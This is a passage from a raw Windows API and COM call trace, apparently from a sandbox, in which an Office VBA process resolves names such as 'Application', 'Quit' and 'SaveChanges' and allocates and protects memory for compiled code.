| out: ppvObject=0xb5690f4f60*=0x0) returned 0x80004002 [0120.262] ITypeInfo:GetTypeComp (in: This=0x2764af38610, ppTComp=0xb5690f4f68 | out: ppTComp=0xb5690f4f68*=0x2764af38618) returned 0x0 [0120.263] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x276455dee40 [0120.263] IUnknown:AddRef (This=0x2764af38618) returned 0x3 [0120.263] IUnknown:Release (This=0x2764af38618) returned 0x2 [0120.263] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ba4eda0, cb=0xd0) returned 0x2764b7dd4b0 [0120.263] IUnknown:Release (This=0x2764af38610) returned 0x1 [0120.263] IUnknown:Release (This=0x2764af38560) returned 0x3 [0120.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x27649a42c9e, cbMultiByte=12, lpWideCharStr=0xb5690f4a50, cchWideChar=13 | out: lpWideCharStr="Application") returned 12 [0120.263] ITypeComp:RemoteBind (in: This=0x2764af38618, szName="Application", lHashVal=0x402aa5, wFlags=0x3, ppTInfo=0xb5690f4a08, pDescKind=0xb5690f4a1c, ppFuncDesc=0xb5690f4a20, ppVarDesc=0x0, ppTypeComp=0x27600000000, pDummy=0x0 | out: ppTInfo=0xb5690f4a08*=0x2764af38610, pDescKind=0xb5690f4a1c*=1, ppFuncDesc=0xb5690f4a20, ppVarDesc=0x0, ppTypeComp=0x27600000000, pDummy=0x0) returned 0x0 [0120.263] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38610, ppTypeAttr=0xb5690f4a10, pDummy=0x2764b7f9f90 | out: ppTypeAttr=0xb5690f4a10, pDummy=0x2764b7f9f90*=0x0) returned 0x0 [0120.263] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38610) returned 0x0 [0120.263] ITypeInfo:GetRefTypeInfo (in: This=0x2764af38610, hreftype=0xbe00, ppTInfo=0xb5690f42c8 | out: ppTInfo=0xb5690f42c8*=0x2764af40dd8) returned 0x0 [0120.263] IUnknown:QueryInterface (in: This=0x2764af40dd8, riid=0x7ff9be1cf4b0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4498 | out: ppvObject=0xb5690f4498*=0x0) returned 0x80004002 [0120.263] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af40dd8, ppTypeAttr=0xb5690f4318, pDummy=0xb5690f4498 | out: ppTypeAttr=0xb5690f4318, pDummy=0xb5690f4498*=0x0) returned 0x0 [0120.263] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af40dd8) returned 0x0 [0120.263] IUnknown:Release (This=0x2764af40dd8) returned 0x1 [0120.263] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38610, ppTypeAttr=0xb5690f47c0, pDummy=0x0 | out: ppTypeAttr=0xb5690f47c0, pDummy=0x0) returned 0x0 [0120.263] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38610) returned 0x0 [0120.264] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b845ef0, cb=0x200) returned 0x27645296170 [0120.264] IUnknown:Release (This=0x2764af40dd8) returned 0x1 [0120.264] IUnknown:Release (This=0x2764af40dd8) returned 0x1 [0120.264] IUnknown:QueryInterface (in: This=0x2764af38610, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f4870 | out: ppvObject=0xb5690f4870*=0x2764af38610) returned 0x0 [0120.264] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x2764af38610, memid=1000, invkind=2, pFuncIndex=0xb5690f48b0 | out: pFuncIndex=0xb5690f48b0*=0x0) returned 0x0 [0120.264] ITypeInfo2:GetFuncCustData (in: This=0x2764af38610, index=0x0, GUID=0x7ff9be1d6f38*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0xb5690f48c8 | out: pVarVal=0xb5690f48c8*(varType=0x0, wReserved1=0x0, wReserved2=0x276, wReserved3=0x0, varVal1=0xb5690f4970, varVal2=0xb5690f4a50)) returned 0x0 [0120.264] IUnknown:Release (This=0x2764af38610) returned 0x2 [0120.264] IUnknown:QueryInterface (in: This=0x2764af40dd8, riid=0x7ff9be1cf4b0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4828 | out: ppvObject=0xb5690f4828*=0x0) returned 0x80004002 [0120.264] IUnknown:QueryInterface (in: This=0x2764af40dd8, riid=0x7ff9be1d1c48*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4700 | out: ppvObject=0xb5690f4700*=0x0) returned 0x80004002 [0120.264] IUnknown:Release (This=0x2764af40dd8) returned 0x1 [0120.264] IUnknown:QueryInterface (in: This=0x2764af40dd8, riid=0x7ff9be1cf4b0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4828 | out: ppvObject=0xb5690f4828*=0x0) returned 0x80004002 [0120.264] IUnknown:QueryInterface (in: This=0x2764af40dd8, riid=0x7ff9be1d1c48*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4700 | out: ppvObject=0xb5690f4700*=0x0) returned 0x80004002 [0120.264] IUnknown:Release (This=0x2764af40dd8) returned 0x1 [0120.264] IUnknown:AddRef (This=0x2764af38610) returned 0x3 [0120.264] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38610) returned 0x0 [0120.264] IUnknown:Release (This=0x2764af38610) returned 0x2 [0120.264] IUnknown:QueryInterface (in: This=0x2764af38610, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4ac8 | out: ppvObject=0xb5690f4ac8*=0x0) returned 0x80004002 [0120.264] IUnknown:AddRef (This=0x2764af38610) returned 0x3 [0120.264] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x276455c2750, cb=0x40) returned 0x2764b880fc0 [0120.264] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x276455c2540, cb=0x50) returned 0x2763a18e7b0 [0120.264] IUnknown:Release (This=0x2764af38610) returned 0x3 [0120.264] IUnknown:QueryInterface (in: This=0x2764af38610, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4c38 | out: ppvObject=0xb5690f4c38*=0x0) returned 0x80004002 [0120.265] IUnknown:QueryInterface (in: This=0x2764af38610, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4c30 | out: ppvObject=0xb5690f4c30*=0x0) returned 0x80004002 [0120.265] IUnknown:QueryInterface (in: This=0x2764af38560, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4c70 | out: ppvObject=0xb5690f4c70*=0x0) returned 0x80004002 [0120.265] IUnknown:QueryInterface (in: This=0x2764af38560, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4c78 | out: ppvObject=0xb5690f4c78*=0x0) returned 0x80004002 [0120.265] IUnknown:QueryInterface (in: This=0x2764af38560, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f4c68 | out: ppvObject=0xb5690f4c68*=0x2764af38560) returned 0x0 [0120.265] ITypeInfo2:GetTypeKind (in: This=0x2764af38560, pTypeKind=0xb5690f4cc4 | out: pTypeKind=0xb5690f4cc4*=5) returned 0x0 [0120.265] IUnknown:Release (This=0x2764af38560) returned 0x4 [0120.265] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38610, ppTypeAttr=0xb5690f4570, pDummy=0x0 | out: ppTypeAttr=0xb5690f4570, pDummy=0x0) returned 0x0 [0120.265] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38610) returned 0x0 [0120.265] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38560, ppTypeAttr=0xb5690f4570, pDummy=0x0 | out: ppTypeAttr=0xb5690f4570, pDummy=0x0) returned 0x0 [0120.265] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2764b9c5420 [0120.265] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38560) returned 0x0 [0120.265] IUnknown:Release (This=0x2764af38610) returned 0x3 [0120.265] IUnknown:Release (This=0x2764af38560) returned 0x3 [0120.265] IUnknown:AddRef (This=0x2764af38610) returned 0x4 [0120.265] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38610, ppTypeAttr=0xb5690f4e88, pDummy=0x0 | out: ppTypeAttr=0xb5690f4e88, pDummy=0x0) returned 0x0 [0120.265] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38610) returned 0x0 [0120.265] IUnknown:Release (This=0x2764af38610) returned 0x3 [0120.265] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2764bb97570 [0120.265] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb97570) returned 0x26d [0120.265] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb97570) returned 0x26d [0120.265] GetCurrentProcess () returned 0xffffffffffffffff [0120.265] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764bb97570, dwSize=0x4c) returned 1 [0120.265] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb97570) [0120.265] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38610, ppTypeAttr=0xb5690f4420, pDummy=0x0 | out: ppTypeAttr=0xb5690f4420, pDummy=0x0) returned 0x0 [0120.265] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38610) returned 0x0 [0120.266] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2764b9c9920 [0120.266] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764ba550d0 [0120.266] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x318) returned 0x2764bbf2440 [0120.266] IUnknown:QueryInterface (in: This=0x2764af40e88, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4fa8 | out: ppvObject=0xb5690f4fa8*=0x0) returned 0x80004002 [0120.266] IUnknown:QueryInterface (in: This=0x2764af40e88, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4fb0 | out: ppvObject=0xb5690f4fb0*=0x0) returned 0x80004002 [0120.266] ITypeInfo:GetTypeComp (in: This=0x2764af40e88, ppTComp=0xb5690f4fb8 | out: ppTComp=0xb5690f4fb8*=0x2764af40e90) returned 0x0 [0120.266] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x276455e1e00 [0120.266] IUnknown:AddRef (This=0x2764af40e90) returned 0x3 [0120.266] IUnknown:Release (This=0x2764af40e90) returned 0x2 [0120.266] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b7dd4b0, cb=0xe0) returned 0x2764b69e3d0 [0120.266] IUnknown:Release (This=0x2764af40e88) returned 0x1 [0120.266] IUnknown:Release (This=0x2764af40dd8) returned 0x1 [0120.266] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x27649a42cca, cbMultiByte=5, lpWideCharStr=0xb5690f4aa0, cchWideChar=6 | out: lpWideCharStr="Quit") returned 5 [0120.266] ITypeComp:RemoteBind (in: This=0x2764af40e90, szName="Quit", lHashVal=0x40ae39, wFlags=0x1, ppTInfo=0xb5690f4a58, pDescKind=0xb5690f4a6c, ppFuncDesc=0xb5690f4a70, ppVarDesc=0x7ff9bdead504, ppTypeComp=0x27600000000, pDummy=0x0 | out: ppTInfo=0xb5690f4a58*=0x2764af40e88, pDescKind=0xb5690f4a6c*=1, ppFuncDesc=0xb5690f4a70, ppVarDesc=0x7ff9bdead504, ppTypeComp=0x27600000000, pDummy=0x0) returned 0x0 [0120.266] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af40e88, ppTypeAttr=0xb5690f4a60, pDummy=0x2764b845540 | out: ppTypeAttr=0xb5690f4a60, pDummy=0x2764b845540*=0x0) returned 0x0 [0120.266] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af40e88) returned 0x0 [0120.266] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af40e88, ppTypeAttr=0xb5690f4810, pDummy=0x0 | out: ppTypeAttr=0xb5690f4810, pDummy=0x0) returned 0x0 [0120.266] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af40e88) returned 0x0 [0120.266] IUnknown:QueryInterface (in: This=0x2764af40e88, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f48c0 | out: ppvObject=0xb5690f48c0*=0x2764af40e88) returned 0x0 [0120.267] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x2764af40e88, memid=1105, invkind=1, pFuncIndex=0xb5690f4900 | out: pFuncIndex=0xb5690f4900*=0x71) returned 0x0 [0120.267] ITypeInfo2:GetFuncCustData (in: This=0x2764af40e88, index=0x71, GUID=0x7ff9be1d6f38*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0xb5690f4918 | out: pVarVal=0xb5690f4918*(varType=0x0, wReserved1=0x0, wReserved2=0x276, wReserved3=0x0, varVal1=0xb5690f49c0, varVal2=0xb5690f4aa0)) returned 0x0 [0120.267] IUnknown:Release (This=0x2764af40e88) returned 0x2 [0120.267] IUnknown:AddRef (This=0x2764af40e88) returned 0x3 [0120.267] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af40e88) returned 0x0 [0120.267] IUnknown:Release (This=0x2764af40e88) returned 0x2 [0120.267] IUnknown:QueryInterface (in: This=0x2764af40e88, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4b18 | out: ppvObject=0xb5690f4b18*=0x0) returned 0x80004002 [0120.267] IUnknown:AddRef (This=0x2764af40e88) returned 0x3 [0120.267] IUnknown:Release (This=0x2764af40e88) returned 0x3 [0120.267] IUnknown:QueryInterface (in: This=0x2764af40e88, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4c88 | out: ppvObject=0xb5690f4c88*=0x0) returned 0x80004002 [0120.267] IUnknown:QueryInterface (in: This=0x2764af40e88, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4c80 | out: ppvObject=0xb5690f4c80*=0x0) returned 0x80004002 [0120.267] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xc) returned 0x2764b9de6e0 [0120.267] _mbscpy_s (in: _Dst=0x2764b9de6e0, _DstSizeInBytes=0xc, _Src=0x27649a42cf2 | out: _Dst=0x2764b9de6e0) returned 0x0 [0120.267] IUnknown:AddRef (This=0x2764af40e88) returned 0x4 [0120.267] ITypeInfo:RemoteGetNames (in: This=0x2764af40e88, memid=1105, rgBstrNames=0xb5690f4be0, cMaxNames=0x3d, pcNames=0xb5690f4b78 | out: rgBstrNames=0xb5690f4be0*="Quit", pcNames=0xb5690f4b78*=0x4) returned 0x0 [0120.267] SysStringByteLen (bstr="SaveChanges") returned 0x16 [0120.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SaveChanges", cchWideChar=11, lpMultiByteStr=0xb5690f4aa0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveChanges½ù\x7f", lpUsedDefaultChar=0x0) returned 11 [0120.267] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="SaveChanges", cchCount1=-1, lpString2="SaveChanges", cchCount2=-1) returned 2 [0120.267] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de6e0) [0120.267] IUnknown:Release (This=0x2764af40e88) returned 0x3 [0120.267] IUnknown:AddRef (This=0x2764af40e88) returned 0x4 [0120.267] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af40e88, ppTypeAttr=0xb5690f4ed8, pDummy=0x27666190d78 | out: ppTypeAttr=0xb5690f4ed8, pDummy=0x27666190d78*=0x0) returned 0x0 [0120.267] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af40e88) returned 0x0 [0120.268] IUnknown:Release (This=0x2764af40e88) returned 0x3 [0120.268] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2764bb97570 [0120.268] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb97570) returned 0x26d [0120.268] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb97570) returned 0x26d [0120.268] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb97570) returned 0x26d [0120.268] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb97570) returned 0x26d [0120.268] GetCurrentProcess () returned 0xffffffffffffffff [0120.268] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764bb97570, dwSize=0x5c) returned 1 [0120.268] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb97570) [0120.268] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af40e88, ppTypeAttr=0xb5690f4470, pDummy=0x0 | out: ppTypeAttr=0xb5690f4470, pDummy=0x0) returned 0x0 [0120.268] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af40e88) returned 0x0 [0120.268] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38560, ppTypeAttr=0xb5690f47d8, pDummy=0xb5690f48a4 | out: ppTypeAttr=0xb5690f47d8, pDummy=0xb5690f48a4*=0x0) returned 0x0 [0120.268] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38560) returned 0x0 [0120.268] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2764b9c5cc0 [0120.268] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2764bb98470 [0120.268] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb98470) returned 0x26d [0120.268] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb98470) returned 0x26d [0120.268] GetCurrentProcess () returned 0xffffffffffffffff [0120.268] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764bb98470, dwSize=0x4c) returned 1 [0120.269] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb98470) [0120.269] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38610, ppTypeAttr=0xb5690f47e0, pDummy=0x0 | out: ppTypeAttr=0xb5690f47e0, pDummy=0x0) returned 0x0 [0120.269] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38610) returned 0x0 [0120.269] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x26d) returned 0x2764bb98970 [0120.269] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb98970) returned 0x26d [0120.269] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb98970) returned 0x26d [0120.269] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb98970) returned 0x26d [0120.269] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb98970) returned 0x26d [0120.269] GetCurrentProcess () returned 0xffffffffffffffff [0120.269] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764bb98970, dwSize=0x5c) returned 1 [0120.269] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb98970) [0120.269] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af40e88, ppTypeAttr=0xb5690f4a20, pDummy=0x0 | out: ppTypeAttr=0xb5690f4a20, pDummy=0x0) returned 0x0 [0120.269] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af40e88) returned 0x0 [0120.269] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b3df570, cb=0x4e4) returned 0x2764b84ba10 [0120.269] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b78c250) [0120.269] GetCurrentProcess () returned 0xffffffffffffffff [0120.269] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764b66a918, dwSize=0x8) returned 1 [0120.269] GetCurrentProcess () returned 0xffffffffffffffff [0120.269] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764b66a918, dwSize=0x8) returned 1 [0120.269] GetCurrentProcess () returned 0xffffffffffffffff [0120.269] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764b66a9d0, dwSize=0x8) returned 1 [0120.269] GetCurrentProcess () returned 0xffffffffffffffff [0120.269] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba5511c, dwSize=0x4c) returned 1 [0120.269] RtlLookupFunctionEntry (in: ControlPc=0x2764ba5511c, ImageBase=0xb5690f4c18, HistoryTable=0xb5690f4c20 | out: ImageBase=0xb5690f4c18, HistoryTable=0xb5690f4c20) returned 0x0 [0120.269] VirtualProtect (in: lpAddress=0x2764ba5511c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0xb5690f4d1c | out: lpflOldProtect=0xb5690f4d1c*=0x4) returned 1 [0120.270] RtlAddFunctionTable (FunctionTable=0x2764ba55178, EntryCount=0x1, BaseAddress=0x2764ba55000, TargetGp=0x40) returned 1 [0120.273] GetCurrentProcess () returned 0xffffffffffffffff [0120.273] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764ba551d8, dwSize=0x5c) returned 1 [0120.273] RtlLookupFunctionEntry (in: ControlPc=0x2764ba551d8, ImageBase=0xb5690f4c18, HistoryTable=0xb5690f4c20 | out: ImageBase=0xb5690f4c18, HistoryTable=0xb5690f4c20) returned 0x0 [0120.273] VirtualProtect (in: lpAddress=0x2764ba551d8, dwSize=0x60, flNewProtect=0x40, lpflOldProtect=0xb5690f4d1c | out: lpflOldProtect=0xb5690f4d1c*=0x40) returned 1 [0120.273] RtlAddFunctionTable (FunctionTable=0x2764ba55244, EntryCount=0x1, BaseAddress=0x2764ba55100, TargetGp=0x40) returned 1 [0120.276] IUnknown:Release (This=0x2763c01f2f8) returned 0x2 [0120.276] free (_Block=0x0) [0120.276] free (_Block=0x0) [0120.276] free (_Block=0x0) [0120.276] IUnknown:Release (This=0x2763c01f2f8) returned 0x2 [0120.276] free (_Block=0x0) [0120.276] free (_Block=0x0) [0120.276] free (_Block=0x0) [0120.276] IUnknown:AddRef (This=0x2763c01e338) returned 0x4 [0120.276] IUnknown:QueryInterface (in: This=0x2763c01e338, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f6008 | out: ppvObject=0xb5690f6008*=0x0) returned 0x80004002 [0120.277] IUnknown:QueryInterface (in: This=0x2763c01e338, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f6000 | out: ppvObject=0xb5690f6000*=0x0) returned 0x80004002 [0120.277] IUnknown:Release (This=0x2763c01e338) returned 0x3 [0120.277] IUnknown:AddRef (This=0x2763bec4828) returned 0x4 [0120.277] IUnknown:QueryInterface (in: This=0x2763bec4828, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f6008 | out: ppvObject=0xb5690f6008*=0x0) returned 0x80004002 [0120.277] IUnknown:QueryInterface (in: This=0x2763bec4828, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f6000 | out: ppvObject=0xb5690f6000*=0x0) returned 0x80004002 [0120.277] IUnknown:Release (This=0x2763bec4828) returned 0x3 [0120.277] IUnknown:AddRef (This=0x2763c01f2f8) returned 0x3 [0120.277] IUnknown:QueryInterface (in: This=0x2763c01f2f8, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f6008 | out: ppvObject=0xb5690f6008*=0x0) returned 0x80004002 [0120.277] IUnknown:QueryInterface (in: This=0x2763c01f2f8, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f6000 | out: ppvObject=0xb5690f6000*=0x0) returned 0x80004002 [0120.277] IUnknown:Release (This=0x2763c01f2f8) returned 0x2 [0120.277] IUnknown:AddRef (This=0x2764af38560) returned 0x4 [0120.277] IUnknown:QueryInterface (in: This=0x2764af38560, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f60e8 | out: ppvObject=0xb5690f60e8*=0x0) returned 0x80004002 [0120.277] IUnknown:QueryInterface (in: This=0x2764af38560, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f60e0 | out: ppvObject=0xb5690f60e0*=0x0) returned 0x80004002 [0120.277] IUnknown:Release (This=0x2764af38560) returned 0x3 [0120.277] IUnknown:AddRef (This=0x2764af38610) returned 0x4 [0120.277] IUnknown:QueryInterface (in: This=0x2764af38610, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, 